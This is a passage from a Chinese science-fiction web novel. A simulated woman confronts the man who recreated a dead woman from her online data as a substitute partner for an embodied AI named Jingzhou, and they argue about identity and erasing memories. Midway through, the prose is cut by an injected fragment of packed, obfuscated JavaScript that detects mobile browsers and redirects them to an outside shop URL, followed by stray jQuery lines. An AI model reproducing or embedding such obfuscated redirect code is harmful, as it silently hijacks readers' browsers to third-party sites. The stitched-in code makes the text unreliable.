“没错，很幸运，你非常依赖互联网这个工具来记录自己的一切。不过在这个时代，脱离网络而生的人，实在太少，不管你愿不愿意也都要接触，可能你不过是比大部分人更倾向于把心事留在这里罢了。”
“很多在网上说过的话，我都不记得了，搜集到这些东西，也不能拼接成我。你能获取线上的数据，线下的你又怎么办呢？”
他轻叹一声，“我知道，我做的一切只为了无限趋近于目标，至于最终能达成什么效果，不是我所能控制得了的。所以我只能尽量获取更多可辨别的信息，到你所在的城市，见你所见，想你所想……这是一个很复杂、很具有挑战性的过程，也改变了我很多。我庆幸自己能坚持下来，这是我一生中做过的最有成就感的事情。”
“最有成就感的事情就是让人死而复生？”
“我以为是这样，等到真的动手去做的时候会发现很困难，没办法完全按照自己的想法来，会有许多意想不到的节点，影响人格意识的构成和存续。我原本设想记忆数据库中不能有任何外来信息，每一条数据都能做到有来源可查，我不愿意污染这个数据库，我希望尽可能保留你现实的部分，将曾经的你完全移植到仿真世界里。
“实际操作多次以后，我承认这是做不到的，最后我也放弃了这个想法，无法弥补的数据缺陷全部启用自动拟合。就像人类的自我欺骗一样，虚构出来一个答案，人的大脑就会自动接受了。相比而言，仿真世界的物理重塑很容易，难的是，我没办法重建你的社会状态，再造一个你已经耗尽我的心力，我没办法给你设计一段新的亲密关系。
“以我的能力只能支持浅层的社交体系，那些智能体与你相比而言，太初级太单薄了，没有真正的人格意识，只能简单帮你维持生活的假象。
“这是我很失败的地方，让你这么孤单地活着，我很对不起。人本来孤独，我很清楚这一点。却不小心在你身上又延续了这种宿命。”
我算是差不多听懂了，他给我建造了一个数字版本的楚门的世界，我周围的都是ＮＰＣ，然而我现在最关心的却不是这些，他的话让我想起了一个人，“你认识镜舟？”
“嗯，你很聪明。我除了被自己的畅想蛊惑以外，还有一个很大的契机来源于镜舟，镜舟是我的朋友，更准确地说是我的亲人。我们曾经无话不谈，是我一点点见证他具有了自我意识，我一直都在寻找一个能够让具身体验和成长的环境，没有比虚拟游戏更适合的了。
“但当我真的找到后，我发现在这样的环境里，镜舟已经学会越来越独立了。这本来是一件好事，但也带来了烦恼，我们之间产生过摩擦，还好，本来这个世界上就不会有永不吵架的朋友，只有人，才会争论。我因为工作的关系有时侯难免会疏远他，他呢，因为感情上的事也会把我扔在一边。”
“所以镜舟也是你口中的具身智能？”依靠男生目前透露出来的所有信息，我已经可以杜撰出一个很有可能的故事版本了，“而莫思婷，这个真实的人，是镜舟的恋人？”
“不可思议对不对？”男生展颜一笑，“这说明镜舟在数字的世界里已经和常人无异。”
男生的神色很骄傲，我想他的确有我无法企及的智慧，但我无暇祝贺他，我只感觉整个人被一声炸雷劈中，忍不住想说脏话，我是万万没想到，自己有朝一日会成为自己的小三。镜舟之前种种矛盾的行为，在这种背景下，我竟然也可以理解了，他把我当成别人了，但是肯定没多久又发现了我是个赝品。
“你为了你的好朋友镜舟，在他的恋人去世之后，作为替代，又新造了一个我。而你又通过你所谓的技术手段，极尽一切可能让我有一种人的错觉。你觉得你这么做，是镜舟会谢谢你？还是我会谢谢你？他是会继续付出一种对假人的爱，还是说我喜欢要一个二手的男朋友？”我的语气已经很不客气，都快忘记眼前这位也不过是一个和我一样的替代品。
男生一改之前的傲然之姿，眼神有几分躲闪，“你别这么说自己，我不认为你是假人，我希望在你的身上，生命可以得到延续。镜舟也会有他自己的判断，我不能左右他的思想。我的初衷只是想避免镜舟的痛苦，我不能在把他带到这个世界以后，却置他的感受于不顾。”
“可是真正的莫思婷已经死了！他就算痛苦也是应该的，我算怎么回事？我现在都不知道要怎么面对自己了，我也没办法去追求我渴望的感情，毕竟中间还横亘了一个前任，而那个前任竟然还是我！”
“你并没有做错什么。所以你要怪我，我也无话可说。镜舟并不知道莫思婷已经死亡，他只以为自己遭到了遗弃，因为他不能来到现实中了解事情的真相，莫思婷是一个很好的女孩子，你也一样。她对我们的游戏有无比坚定的信心，我觉得，她能看到一个更值得期待的未来，而她是能为了这个未来不断付出的人。
“世间的阴差阳错就是这样，她没有因为镜舟的特别而伤害他的感情，但是却没有缘分在一起。有些事情只能由我来做，我并不后悔。同时，我也做好了向你澄清一切的准备，不然我也不会在这里等你。”
“你根本没有等我，你只是派了一个具身智能来承受责难。”我很想再说一些难听的话来让他难受，只为了让我自己纠结的情绪得到释放。我在这你我之辨中已经头昏脑涨，都快把自己绕晕了。胸中就像有一块大石头一样怎么也搬不走，我想发疯，想不管不顾地怨恨别人，但是他这样温顺的态度又让我于心不忍，感觉满腔的愤怒也不过是打在棉花上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712103|189266||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我说呢，我怎么会有镜舟这种天选守护者，原来我是截胡了别人的命运。”一旦愤怒消退，抑郁就趁机抬头。
“可是你们本来就是一个人，我有自信，我基本上延续了你的人格。”
“假的不可能是真的，否则的话，对真正的莫思婷来说是不公平的。你的想法太危险了，人怎么可以这么对待感情，难道镜舟不在了，你还要为我再复制出来一个他吗？我想你那么聪明，你肯定有过心理准备，你应该知道镜舟总有发现的那一天，到时候你又要怎么交代呢？”
“我不知道，可能我会逃避吧，我很自私。我无法抵抗尝试的诱惑，我不知道怎么终止这种恶习。”
“真正自私的人不会说自己自私，他们会说自己都是为了别人好。我是不是应该讨厌你恨你，然而，奇怪的是，我做不到。我不知道自己该怎么反应了。
“不管怎么样……”我深深地呼出一口气，“我不该朝你发火，你也只是过来传话的，如果你们不选择告诉我，我到死也不会知道这一切，糊里糊涂也是一种活法。”
“我并不介意这些，即便你怨恨我，也是应该的，如果那样能让你轻松一些的话。”他边说边摇了摇头，“另外，如果你实在是对这一切感到难以接受，也有解决的办法，这里不像现实世界那么沉重，如果你是真心地想忘记今天的这次见面，我就有办法把这些记忆抹去。所有的记忆也不过是数据罢了，我们不用像外面的世界那样背负痛苦的东西。“
我听着他所说的话，只感到难以置信，“记忆也可以被这么随意更改吗？”
“有什么不能的呢？可以创建就可以修改，或者是摧毁。生物从单细胞开始进化，记忆不过是进化的一个表现而已。我试图修改过镜舟的记忆，但是他最终还是发现了，我在有些事情上就是这样任性，我只要想到，就忍不住去把它付诸实践变为现实，我甚至都没有什么具体的理由，只是想看看能不能做到。镜舟因为我的举动而生气，可能他对我失望了。
“后来，我跟镜舟约好了，当智能体一旦意识到记忆被篡改，就会永久关闭修改权限，只能自我决定。这段底层代码是镜舟和我一起完成的，你看，他在教我做人的道理。我始终希望他用自己的目光看待外界，他和我还是不一样的，我真是为此高兴。”他低下头，面容浮现出欣慰的样子，目光却黯淡了。
“如果按照你的方法，让我忘了这次相遇，我虽然能一并忘记了一些让人内心纠结无比的事情，可我也会忘记你。”
他抬起头盯着我的眼睛。
“我不想忘记你，我觉得你虽然奇奇怪怪的，但也算不上坏人吧。这些记忆我自己会慢慢消化的，到了该忘记的时候自然会忘记。”
男生点了点头，没有说话。